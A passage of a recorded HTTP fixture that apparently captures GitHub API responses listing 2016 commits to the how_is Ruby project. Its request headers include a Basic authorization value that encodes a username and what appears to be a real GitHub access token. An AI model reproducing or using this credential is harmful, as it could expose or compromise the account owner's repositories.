ithub.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c9733dc75b074d8ca46836402510fbf2186361a8","url":"https://api.github.com/repos/how-is/how_is/commits/c9733dc75b074d8ca46836402510fbf2186361a8","html_url":"https://github.com/how-is/how_is/commit/c9733dc75b074d8ca46836402510fbf2186361a8"}]},{"sha":"c9733dc75b074d8ca46836402510fbf2186361a8","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Yzk3MzNkYzc1YjA3NGQ4Y2E0NjgzNjQwMjUxMGZiZjIxODYzNjFhOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-07T09:25:01Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-07T09:25:01Z"},"message":"Let''s not even bother with jruby/rubinius support right now.","tree":{"sha":"ad2fd476b3382993bf15bd2977351fd62600ad8e","url":"https://api.github.com/repos/how-is/how_is/git/trees/ad2fd476b3382993bf15bd2977351fd62600ad8e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c9733dc75b074d8ca46836402510fbf2186361a8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c9733dc75b074d8ca46836402510fbf2186361a8","html_url":"https://github.com/how-is/how_is/commit/c9733dc75b074d8ca46836402510fbf2186361a8","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c9733dc75b074d8ca46836402510fbf2186361a8/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7303c83825ca9f1d81bb32cc2bf4f5e5d8e720dd","url":"https://api.github.com/repos/how-is/how_is/commits/7303c83825ca9f1d81bb32cc2bf4f5e5d8e720dd","html_url":"https://github.com/how-is/how_is/commit/7303c83825ca9f1d81bb32cc2bf4f5e5d8e720dd"}]},{"sha":"7303c83825ca9f1d81bb32cc2bf4f5e5d8e720dd","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzMwM2M4MzgyNWNhOWYxZDgxYmIzMmNjMmJmNGY1ZTVkOGU3MjBkZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-07T09:23:50Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-07T09:23:50Z"},"message":"Add build status indicator to README.","tree":{"sha":"f7e7a3be5d4fb109cc82276ed1cfb0497e021ab9","url":"https://api.github.com/repos/how-is/how_is/git/trees/f7e7a3be5d4fb109cc82276ed1cfb0497e021ab9"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7303c83825ca9f1d81bb32cc2bf4f5e5d8e720dd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7303c83825ca9f1d81bb32cc2bf4f5e5d8e720dd","html_url":"https://github.com/how-is/how_is/commit/7303c83825ca9f1d81bb32cc2bf4f5e5d8e720dd","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7303c83825ca9f1d81bb32cc2bf4f5e5d8e720dd/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"37997d3bce085b21c8eb60d0cbdb7d862b3c2551","url":"https://api.github.com/repos/how-is/how_is/commits/37997d3bce085b21c8eb60d0cbdb7d862b3c2551","html_url":"https://github.com/how-is/how_is/commit/37997d3bce085b21c8eb60d0cbdb7d862b3c2551"}]},{"sha":"37997d3bce085b21c8eb60d0cbdb7d862b3c2551","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Mzc5OTdkM2JjZTA4NWIyMWM4ZWI2MGQwY2JkYjdkODYyYjNjMjU1MQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-07T09:19:48Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-07T09:19:48Z"},"message":"Fix tests.","tree":{"sha":"0f1456f87e21ec7cae0bf2fc4dcb4689e861c7fa","url":"https://api.github.com/repos/how-is/how_is/git/trees/0f1456f87e21ec7cae0bf2fc4dcb4689e861c7fa"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/37997d3bce085b21c8eb60d0cbdb7d862b3c2551","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/37997d3bce085b21c8eb60d0cbdb7d862b3c2551","html_url":"https://github.com/how-is/how_is/commit/37997d3bce085b21c8eb60d0cbdb7d862b3c2551","comments_url":"https://api.github.com/repos/how-is/how_is/commits/37997d3bce085b21c8eb60d0cbdb7d862b3c2551/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"5380adc67c8c4cb040e19d84cd8891ce2140edd5","url":"https://api.github.com/repos/how-is/how_is/commits/5380adc67c8c4cb040e19d84cd8891ce2140edd5","html_url":"https://github.com/how-is/how_is/commit/5380adc67c8c4cb040e19d84cd8891ce2140edd5"}]},{"sha":"5380adc67c8c4cb040e19d84cd8891ce2140edd5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTM4MGFkYzY3YzhjNGNiMDQwZTE5ZDg0Y2Q4ODkxY2UyMTQwZWRkNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-07T09:15:55Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-07T09:15:55Z"},"message":"Why were we relying on Configru? It''s never used anywhere.","tree":{"sha":"e86429a399cccb95e5b5d6906fc810ed134fdccc","url":"https://api.github.com/repos/how-is/how_is/git/trees/e86429a399cccb95e5b5d6906fc810ed134fdccc"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5380adc67c8c4cb040e19d84cd8891ce2140edd5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5380adc67c8c4cb040e19d84cd8891ce2140edd5","html_url":"https://github.com/how-is/how_is/commit/5380adc67c8c4cb040e19d84cd8891ce2140edd5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5380adc67c8c4cb040e19d84cd8891ce2140edd5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c6e0ddeda8b8e0eb5e92abb596053a28758fe070","url":"https://api.github.com/repos/how-is/how_is/commits/c6e0ddeda8b8e0eb5e92abb596053a28758fe070","html_url":"https://github.com/how-is/how_is/commit/c6e0ddeda8b8e0eb5e92abb596053a28758fe070"}]},{"sha":"c6e0ddeda8b8e0eb5e92abb596053a28758fe070","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzZlMGRkZWRhOGI4ZTBlYjVlOTJhYmI1OTYwNTNhMjg3NThmZTA3MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-07T09:05:22Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-07T09:05:22Z"},"message":"Peg Rack to a version that works with Ruby 2.2.0.","tree":{"sha":"6099146e12376385d95a75e0b1ced44fed333614","url":"https://api.github.com/repos/how-is/how_is/git/trees/6099146e12376385d95a75e0b1ced44fed333614"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c6e0ddeda8b8e0eb5e92abb596053a28758fe070","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c6e0ddeda8b8e0eb5e92abb596053a28758fe070","html_url":"https://github.com/how-is/how_is/commit/c6e0ddeda8b8e0eb5e92abb596053a28758fe070","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c6e0ddeda8b8e0eb5e92abb596053a28758fe070/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"847c1e75f134fecb1cc082042bb375eff2a51668","url":"https://api.github.com/repos/how-is/how_is/commits/847c1e75f134fecb1cc082042bb375eff2a51668","html_url":"https://github.com/how-is/how_is/commit/847c1e75f134fecb1cc082042bb375eff2a51668"}]},{"sha":"847c1e75f134fecb1cc082042bb375eff2a51668","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODQ3YzFlNzVmMTM0ZmVjYjFjYzA4MjA0MmJiMzc1ZWZmMmE1MTY2OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-07T08:44:10Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-07T08:44:10Z"},"message":"Move JSON file to correct location.","tree":{"sha":"9fee15f5981c2e12025c8c5d1f410ec24a6f4535","url":"https://api.github.com/repos/how-is/how_is/git/trees/9fee15f5981c2e12025c8c5d1f410ec24a6f4535"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/847c1e75f134fecb1cc082042bb375eff2a51668","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/847c1e75f134fecb1cc082042bb375eff2a51668","html_url":"https://github.com/how-is/how_is/commit/847c1e75f134fecb1cc082042bb375eff2a51668","comments_url":"https://api.github.com/repos/how-is/how_is/commits/847c1e75f134fecb1cc082042bb375eff2a51668/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3ea215ee2020640bc5eb0f2ccfeec0c5d21bc1bd","url":"https://api.github.com/repos/how-is/how_is/commits/3ea215ee2020640bc5eb0f2ccfeec0c5d21bc1bd","html_url":"https://github.com/how-is/how_is/commit/3ea215ee2020640bc5eb0f2ccfeec0c5d21bc1bd"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:48 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=14&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:48 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3331' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"b62e3a9f3266d11fa1a63554619d5cf5" Last-Modified: - Mon, 27 Jun 2016 23:20:17 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - 9187:5F1B:1FF914:45EFFF:5CC36AF0 body: encoding: ASCII-8BIT string: '[{"sha":"3ea215ee2020640bc5eb0f2ccfeec0c5d21bc1bd","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6M2VhMjE1ZWUyMDIwNjQwYmM1ZWIwZjJjY2ZlZWMwYzVkMjFiYzFiZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T23:20:17Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T23:20:17Z"},"message":"Links!","tree":{"sha":"bd6530c043f605e531e2a3f96ab7cd135baf29a0","url":"https://api.github.com/repos/how-is/how_is/git/trees/bd6530c043f605e531e2a3f96ab7cd135baf29a0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3ea215ee2020640bc5eb0f2ccfeec0c5d21bc1bd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3ea215ee2020640bc5eb0f2ccfeec0c5d21bc1bd","html_url":"https://github.com/how-is/how_is/commit/3ea215ee2020640bc5eb0f2ccfeec0c5d21bc1bd","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3ea215ee2020640bc5eb0f2ccfeec0c5d21bc1bd/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"50120d4838fbfee60c2cb5bc6350c6311a4367dc","url":"https://api.github.com/repos/how-is/how_is/commits/50120d4838fbfee60c2cb5bc6350c6311a4367dc","html_url":"https://github.com/how-is/how_is/commit/50120d4838fbfee60c2cb5bc6350c6311a4367dc"}]},{"sha":"50120d4838fbfee60c2cb5bc6350c6311a4367dc","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTAxMjBkNDgzOGZiZmVlNjBjMmNiNWJjNjM1MGM2MzExYTQzNjdkYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T23:10:21Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T23:10:21Z"},"message":"?","tree":{"sha":"c20214c7ce54ee479814f832a82cddebd211b7df","url":"https://api.github.com/repos/how-is/how_is/git/trees/c20214c7ce54ee479814f832a82cddebd211b7df"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/50120d4838fbfee60c2cb5bc6350c6311a4367dc","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/50120d4838fbfee60c2cb5bc6350c6311a4367dc","html_url":"https://github.com/how-is/how_is/commit/50120d4838fbfee60c2cb5bc6350c6311a4367dc","comments_url":"https://api.github.com/repos/how-is/how_is/commits/50120d4838fbfee60c2cb5bc6350c6311a4367dc/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"cd56f91591fc6170e1c6c5dfc08d3495c1573d3d","url":"https://api.github.com/repos/how-is/how_is/commits/cd56f91591fc6170e1c6c5dfc08d3495c1573d3d","html_url":"https://github.com/how-is/how_is/commit/cd56f91591fc6170e1c6c5dfc08d3495c1573d3d"}]},{"sha":"cd56f91591fc6170e1c6c5dfc08d3495c1573d3d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2Q1NmY5MTU5MWZjNjE3MGUxYzZjNWRmYzA4ZDM0OTVjMTU3M2QzZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T23:01:45Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T23:01:45Z"},"message":"Fix PDF generation.","tree":{"sha":"d4fce2e65b2491849e0b3f7af6620d0558e0034a","url":"https://api.github.com/repos/how-is/how_is/git/trees/d4fce2e65b2491849e0b3f7af6620d0558e0034a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/cd56f91591fc6170e1c6c5dfc08d3495c1573d3d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/cd56f91591fc6170e1c6c5dfc08d3495c1573d3d","html_url":"https://github.com/how-is/how_is/commit/cd56f91591fc6170e1c6c5dfc08d3495c1573d3d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/cd56f91591fc6170e1c6c5dfc08d3495c1573d3d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"5d078fa63f10631b3812af4be0947889024257f2","url":"https://api.github.com/repos/how-is/how_is/commits/5d078fa63f10631b3812af4be0947889024257f2","html_url":"https://github.com/how-is/how_is/commit/5d078fa63f10631b3812af4be0947889024257f2"}]},{"sha":"5d078fa63f10631b3812af4be0947889024257f2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWQwNzhmYTYzZjEwNjMxYjM4MTJhZjRiZTA5NDc4ODkwMjQyNTdmMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T23:00:38Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-27T23:00:38Z"},"message":"Link labels in HTML 